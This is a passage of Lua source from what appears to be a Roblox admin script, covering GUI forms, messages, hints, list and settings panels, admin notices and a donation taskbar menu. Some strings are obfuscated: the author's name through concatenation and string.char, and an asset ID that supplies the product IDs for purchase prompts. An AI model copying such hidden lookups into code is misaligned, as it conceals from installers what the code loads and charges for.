3985 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3986 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3987 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3988 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3989 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3990
3991 if Settings.EnableTaskBar then
3992 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3993 else
3994 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3995 Title.Size = UDim2.new(1, -95, 0, 25)
3996 end
3997
3998 if not ShowFormButtons then
3999 X:Destroy()
4000 TitleEnd:Destroy()
4001 Title.Size = UDim2.new(1, -55, 0, 25)
4002 end
4003
4004 local function CloseForm()
4005 if IsClosed == false then
4006 IsActive.Value = false
4007 IsClosed = true
4008 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4009 Closed:Fire()
4010 SOUND:PlayNotification(Player, 206375138)
4011 end
4012 end
4013
4014 local function MinimizeForm()
4015 if IsActive.Value == true then
4016 IsActive.Value = false
4017 Minimized:Fire()
4018 MinimizePos = Dragger.Position
4019 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4020 end
4021 end
4022
4023 local function RestoreForm()
4024 if IsActive.Value == false then
4025 IsActive.Value = true
4026 Restored:Fire()
4027 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4028 end
4029 end
4030
4031 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4032 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4033
4034 Close.OnInvoke = CloseForm
4035 Minimize.OnInvoke = MinimizeForm
4036 Restore.OnInvoke = RestoreForm
4037
4038 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4039
4040 if TaskBar then
4041 TaskBar:WaitForChild("AddForm")
4042 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4043 end
4044
4045 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4046end
4047
4048function GUI:CoreGui(Player, Type, Enable)
4049 local Parent = Player:FindFirstChild("Backpack")
4050 if not Parent then Parent = Player.Backpack end
4051 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4052end
4053
4054function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4055 if not Player or not Player:IsA("Player") then return nil end
4056 if BodyText == "" then return nil end
4057 if not Player:FindFirstChild("PlayerGui") then return nil end
4058
4059 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4060 local TextColor = GUI:GetColor(MessageSplit[1])
4061 if TextColor then BodyText = MessageSplit[2] end
4062 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4063
4064 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4065 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4066
4067 if Frame then
4068 local FormBar = Frame.Parent.Parent.FormBar
4069 local Said = false
4070 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4071 if Settings.EnableTaskBar then
4072 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4073 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4074 else
4075 Speak.Position = UDim2.new(1, -58, 0, 5)
4076 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4077 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4078 end
4079 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4080 if not Said then
4081 Said = true
4082 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4083 end
4084 end)
4085
4086 if TextColor then
4087 Body.TextColor3 = TextColor
4088 else
4089 Body.TextColor3 = Color3.new(1,1,1)
4090 end
4091
4092 if tonumber(Time) then coroutine.wrap(function()
4093 if AutoTime then
4094 Time = Time + math.floor(#BodyText/7)
4095 end
4096 local Alive = true
4097
4098 local function StopTimer() Alive = false end
4099 Closed.Event:connect(StopTimer)
4100 Minimized.Event:connect(StopTimer)
4101
4102 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4103 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4104 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4105 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4106 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4107 for i = Time,0,-1 do
4108 for ii = 1,10 do
4109 if Alive == true then
4110 Ticker.Text = i
4111 wait(0.1)
4112 else
4113 break
4114 end
4115 end
4116 end
4117 if Alive == true then
4118 Close:Invoke()
4119 else
4120 Ticker:Destroy()
4121 Stop:Destroy()
4122 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4123 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4124 end
4125 end)() end
4126
4127 CORE:ExecuteResource("CalculateScrollY", Body)
4128 end
4129end
4130
4131function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4132 if not Player then return nil end
4133 if not Player:IsA("Player") then return nil end
4134 if BodyText == "" then return nil end
4135 if not Player:FindFirstChild("PlayerGui") then return nil end
4136 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4137 local TextColor = GUI:ContrastColor()
4138 if Error then TextColor = Color3.new(1,0,0) end
4139
4140 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4141 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4142
4143 CORE:ExecuteResource("CalculateScrollY", Body)
4144
4145 return Frame, Close, Closed, Minimize, Minimized
4146end
4147
4148function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4149 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4150 local TweenTime = 0.5
4151 if not Time then Time = 5 end
4152 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4153 local MaxPos = -1
4154 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4155 local IVal = SGObj:FindFirstChild("Index")
4156 if IVal then
4157 MaxPos = math.max(MaxPos, IVal.Value)
4158 end
4159 end
4160 MaxPos = MaxPos + 1
4161 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4162 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4163 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4164 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4165 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4166 SG.Parent = Player.PlayerGui
4167
4168 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4169 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4170
4171 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4172 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4173 Delay(TweenTime, function()
4174 for i = 1,0,-0.1 do
4175 Body.TextTransparency = i
4176 wait()
4177 end
4178 Body.TextTransparency = 0
4179 end)
4180 Delay(TweenTime + Time, function()
4181 for i = 0,1,0.1 do
4182 Body.TextTransparency = i
4183 wait()
4184 end
4185 Body.TextTransparency = 1
4186 local Done = false
4187 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4188 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4189 end)
4190
4191end)() end
4192
4193function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4194 if not Player then return nil end
4195 if not Player:FindFirstChild("PlayerGui") then return nil end
4196 if not PreSearch then PreSearch = "" end
4197 if AutoNumber == nil then AutoNumber = true end
4198
4199 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4200 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4201 SearchBar.Parent = Frame.Parent
4202 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4203 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4204
4205 local SearchVer = 0,nil
4206 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4207 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4208 local InDialog = false
4209
4210 local function ShowResults(Key)
4211 SearchVer = SearchVer + 1
4212 local ThisSearchVer = SearchVer
4213
4214 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4215 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4216
4217 local NumPos,Num = 0,1
4218
4219 for _,Data in pairs(List) do
4220 if ThisSearchVer ~= SearchVer then
4221 break
4222 end
4223 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4224 if String then
4225 local ImageIcon = nil
4226 if type(Data) == "table" then
4227 String = Data[1]
4228 ImageIcon = Data[2]
4229 end
4230
4231 local TextColor = GUI:ContrastColor()
4232 local StringSplit = STRING:GetSplit(String, 1, " ")
4233 local NewColor = GUI:GetColor(StringSplit[1])
4234 if NewColor then TextColor = NewColor String = StringSplit[2] end
4235
4236 if string.find(string.lower(String), string.lower(Key)) then
4237 Spacer = false
4238 local Font = Settings.Font
4239 local Split = STRING:GetSplit(String, 1, " ")
4240 if string.sub(string.lower(String),1,6) == "bold: " then
4241 Font = "ArialBold"
4242 String = string.sub(String,7)
4243 elseif Fonts[Split[1]] then
4244 Font = Split[1]
4245 String = Split[2]
4246 end
4247 if string.sub(String,1,2) == "--" then
4248 Spacer = true
4249 end
4250 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4251 if ImageIcon then
4252 if tonumber(ImageIcon) then
4253 ImageIcon = "rbxassetid://"..ImageIcon
4254 elseif Icons[ImageIcon] then
4255 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4256 end
4257
4258 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4259 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4260 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4261 Content.Text = ""
4262 NumPos = NumPos + 90
4263 else
4264 NumPos = NumPos + 30
4265 end
4266
4267 if not Clickable then
4268 Content.AutoButtonColor = false
4269 Content.Active = false
4270 Content.BackgroundTransparency = 1
4271 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4272 SOUND:BindButton(Content)
4273 CORE:HandleEvent(Content, "MouseButton1Down", function()
4274 if not InDialog then
4275 Clicked:Fire(String)
4276 end
4277 end, true)
4278 end
4279 if Spacer == false then Num = Num + 1 end
4280 end
4281 end
4282 end
4283 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4284 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4285 end
4286
4287 RequestDialog.OnInvoke = function(RequestDialogCall)
4288 InDialog = RequestDialogCall
4289 end
4290
4291 ShowResults(PreSearch)
4292
4293 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4294 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4295 if Prop == "Text" then
4296 local Text = CORE:ReadProperty(RPR, Player, "Text")
4297 ShowResults(Text)
4298 Frame.CanvasPosition = Vector2.new(0,0)
4299 end
4300 end)
4301
4302 return Clicked, RequestDialog, Close
4303end
4304
4305function GUI:PropertyGui(Player, Title, Icon, Properties)
4306 if not Player then return nil end
4307 if not Player:FindFirstChild("PlayerGui") then return nil end
4308 if type(Properties) ~= "table" then return nil end
4309 local HasClosed = false
4310 local NewProperties = {}
4311
4312 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4313 Frame.ClipsDescendants = true
4314 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4315
4316 for PropertyName,Data in pairs(Properties) do
4317 NewProperties[PropertyName] = Data[1]
4318 end
4319
4320 local YCount = 0
4321
4322 for PropertyName,Data in pairs(Properties) do
4323 if type(Data) == "table" then
4324 local DefaultValue = Data[1]
4325 local Writable = Data[2]
4326 local ValueType = Data[3]
4327
4328 if Writable == nil then Writable = false end
4329 if type(ValueType) == "string" then -- now this is confusing
4330 ValueType = string.lower(ValueType)
4331 elseif ValueType == nil then
4332 ValueType = type(DefaultValue)
4333 end
4334
4335 if ValueType == "nil" or ValueType == "userdata" then
4336 ValueType = nil
4337 elseif ValueType == "table" then
4338 DefaultValue = STRING:UnpackArgs(DefaultValue)
4339 ValueType = "string"
4340 end
4341
4342 if ValueType then
4343 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4344 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4345 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4346
4347 if ValueType == "string" or ValueType == "number" then
4348 if Writable == true then
4349 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4350 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4351 if ValueType == "number" then
4352 NewProperties[PropertyName] = tonumber(Input.Text)
4353 else
4354 NewProperties[PropertyName] = tostring(Input.Text)
4355 end
4356 end end)
4357 else
4358 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4359 end
4360 end
4361 if ValueType == "boolean" then
4362 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4363 if DefaultValue == true then
4364 Check.Image = "rbxassetid://48138491"
4365 end
4366 if Writable == true then
4367 CORE:HandleEvent(Check, "MouseButton1Down", function()
4368 local NewVal = not NewProperties[PropertyName]
4369 NewProperties[PropertyName] = NewVal
4370 if NewVal == true then
4371 Check.Image = "rbxassetid://48138491"
4372 else
4373 Check.Image = "rbxassetid://48138474"
4374 end
4375 end)
4376 else
4377 Check.ImageTransparency = 0.5
4378 end
4379 end
4380 YCount = YCount + 50
4381 end
4382 end
4383 end
4384
4385 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4386
4387 Closed.Event:connect(function() HasClosed = true end)
4388
4389 repeat wait(0.1) until HasClosed
4390 return NewProperties
4391end
4392
4393function GUI:SettingsGui(Player)
4394 if not Player then return nil end
4395 local CloneViewSettings,CanChange = {},false
4396
4397 local ViewSettings = {
4398 ["Version"] = {CORE.Version.Value, false, nil};
4399 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4400 ["Font"] = {Settings.Font, 3, "Font"};
4401 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4402 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4403 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4404 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4405 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4406 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4407 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4408 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4409 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4410 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4411 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4412 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4413 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4414 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4415 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4416 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4417 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4418 ["Bet"] = {Settings.Bet, 3, "Bet"};
4419 }
4420
4421 local _,RankNum = RANK:GetRank(Player)
4422 if RankNum >= 3 then
4423 CanChange = true
4424 end
4425
4426 for Prop,Data in pairs(ViewSettings) do
4427 local Writable = false
4428 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4429 CloneViewSettings[Prop] = {Data[1], Writable}
4430 end
4431
4432 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4433 if CanChange then
4434 for Prop,Data in pairs(ViewSettings) do
4435 if Data[3] then
4436 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4437 end
4438 end
4439 CORE:FixSettings()
4440 end
4441end
4442
4443function GUI:MessageAdmins(TitleText, BodyText, Icon)
4444 for _,Player in pairs(Server.Players:GetPlayers()) do
4445 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4446 if PlayerAdmin then
4447 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4448 end
4449 end
4450end
4451
4452function GUI:TellAdmin(Player)
4453 if not Player then return end
4454
4455 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4456 if ValidAdmin == true then
4457 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4458 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4459 local SoundID = 237866523
4460 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4461 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4462 Sound:Play()
4463 coroutine.wrap(function()
4464 wait(4)
4465 Sound:Stop()
4466 Sound:Destroy()
4467 end)()
4468 end
4469 end
4470end
4471
4472function GUI:TellNotAdmin(Player)
4473 if not Player then return end
4474
4475 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4476end
4477
4478function GUI:CreateTaskBar(Player)
4479 if not Player then return nil end
4480 if Settings.EnableTaskBar == false then return nil end
4481 Player:WaitForChild("PlayerGui")
4482 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4483 if SG then SG:Destroy() end
4484 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4485 local IsMoving = false
4486 local TaskBarShown = false
4487 local Tasks = {}
4488
4489 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4490 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4491
4492 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4493 local Open,CloseForm = false,nil
4494 if Settings.EnableAdminMenu then
4495 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4496 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4497 if Open == false then
4498 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4499 Open,CloseForm = true,Close
4500
4501 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4502 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4503 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4504 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4505 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4506 local function DonateMoney(Type, Element)
4507 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4508 local Get = Request[Type]
4509 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4510 Server.MPS:PromptPurchase(Player, Get[1], true)
4511 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4512 Server.MPS:PromptPurchase(Player, Get[2], true)
4513 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4514 Server.MPS:PromptPurchase(Player, Get[3], true)
4515 else
4516 Element.Text = "Cannot get request"
4517 end
4518 end
4519 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4520 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
